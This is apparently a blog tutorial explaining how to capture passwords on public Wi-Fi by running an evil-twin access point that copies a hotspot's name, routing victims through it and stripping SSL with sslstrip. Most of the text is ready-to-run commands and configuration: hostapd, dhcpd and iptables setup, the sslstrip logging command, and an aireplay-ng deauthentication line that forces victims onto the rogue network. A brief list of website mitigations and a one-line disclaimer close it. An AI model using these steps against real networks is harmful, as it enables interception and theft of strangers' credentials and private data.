Unless you know enough about security to know what’s going on behind the scenes, Wifi is beyond insecure. Even with SSL as an attempt to secure a web connection, your connection is still fundamentally insecure. This is an explanation of how someone would capture passwords and other variables sent over an SSL connection that uses Wifi. In essence, its a Man in the Middle (MiM) attack over Wifi that modifies the victim’s HTTP connection and thus gathers GET and POST variables. I was not the first to create it, but I independently thought of it and then combined a few techniques together.

Here’s how it works:

Lets say you go to a Starbucks and they offer an open Wifi connection. Suppose the AP name is attwifi. First, the attacker connects his computer to the legitimate AP so that he can go online. The attacker can use a separate means to get online, I just find this most convenient.

Using a second wifi card that can go into Master mode, set the IP address to something the legitimate Wifi network does not use. No one uses 172.16.1.0/24, so when I was testing this I used that. Since the attacker’s machine will balance between the legitimate AP and fake AP, it needs to be able to distinguish between the two and prevent collisions. So 172.16.1.1 works great.

ifconfig wlan0 172.16.1.1
ifconfig wlan0 up

Then, the attacker must configure dhcpd, in my case, located in /etc/dhcp/dhcpd.conf:

subnet 172.16.1.0 netmask
	255.255.255.0 {
	range 172.16.1.2 172.16.1.254;
	option domain-name-server 172.16.1.1;
	option routers 172.16.1.1;
}

On the second wifi card the attacker must then create an AP by the same name as the legitimate AP. Most public APs are Open networks without any encryption or anything. But even if they weren’t open, the host would likely just give you the password upon request. To create an open network, the attacker must set the following settings in /etc/hostapd/hostapd.conf:

interface=wlan0
driver=nl80211
ssid=attwifi
hw_mode=g
channel=11

Finally, start to turn stuff on. First, the layer 3 routing and NAT rules:

echo 1 > /proc/net/ipv4/ip_forward # Allows routing
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # Turns on NAT
iptables -A FORWARD -j ACCEPT # Accepts everything

Then turn on dhcpd:

dhcpd

Then I start broadcasting the Access Point:

hostapd /etc/hostapd/hostapd.conf

At this point, anyone who connects to attwifi will either connect to the attacker, or the authentic AP. As of now it makes no difference who they connect through. If they connect through the attacker’s AP, they will just be forwarded through the real attwifi AP anyways with a unnoticed extra hop.

Up to this point you’ve simply done a Man in the Middle (MiM). The final step is where the magic lays. The attacker must redirect connects to port 80 through sslstrip, a tool that intercepts a victim’s web requests, and removes all references of SSL (ie, changes ‘https’ to ‘http’) and logs all relevant variables that are passed over. For the record and so that I don’t come across as a complete script kiddie, I wrote a tool similar to sslstrip, but sslstrip is significantly better and cleaner written.

The attacker would do this:

iptables -t nat -A PREROUTING -p tcp -s 172.16.1.0/24 --dport 80 -j DNAT --to-destination 172.16.1.1:31337
python ./sslstrip.py -w attwifi.log -l 31337

At this point, the attacker’s machine will be logging GET and POST variables directed through his machine, even if the connection was intended to be secured with SSL. The only sign the victim may notice is that his usually SSL-encrypted connection is no longer secure. A savvy user might notice this, but the vast majority will not. In fact, the way most sites are written, such as Facebook, you enter your credentials onto an initial insecure page! While the form‘s GET or POST target is secure, the page you received is certainly not. Unless he checks the initial page’s code, he would never know that his connection is being tampered with.

There’s one final optional step. A client might be connected to the correct AP for hours without any reason to disconnect. With Windows, if there are multiple APs by the same name and the user is experiencing connection issues on one, Windows will automatically switch to the other AP. You can break a user’s connection and force him to connect through you using the following command:

aireplay-ng -0 0 -a 00:AA:BB:CC:DD:EE -c 01:12:34:56:78:9A ath0

Where 00:AA:BB:CC:DD:EE is the access point and 01:12:34:56:78:9A is a client. This last step is particularly insidious.

The fundamental issue here is not a weakness in SSL, but in Wifi that allows for an easy MiM. However, there are some steps a web site can take to help fix the problem:

1. Require users to go to https://www.site.com instead of http://www.site.com. A simple redirection or link will not do, as sslstrip and similar programs can capture the redirection-attempt.
2. Javascript code that does client-side verification to scan for for page modifications
3. Two-factor authentication, such as an RSA token. While this will not stop the attacker from capturing your variables, it makes re-authentication as the victim impossible. Also a great solution, but won’t prevent against data leakage.
4. Have the user click a link that requests login. Once at the new page, have an image pointing up at the URL bar and asking the user to verify if SSL is being used. But, this requires too much user-verification.
5. Change the port from 80 to 8080, or so, thus temporarily thwarting the iptables rule. But obviously a broader or more focused iptables rule would counter-thwart that.

I doubt I have to legally add a disclaimer, but I’ll do it anyways… don’t do anything illegal! You are responsible for your own actions!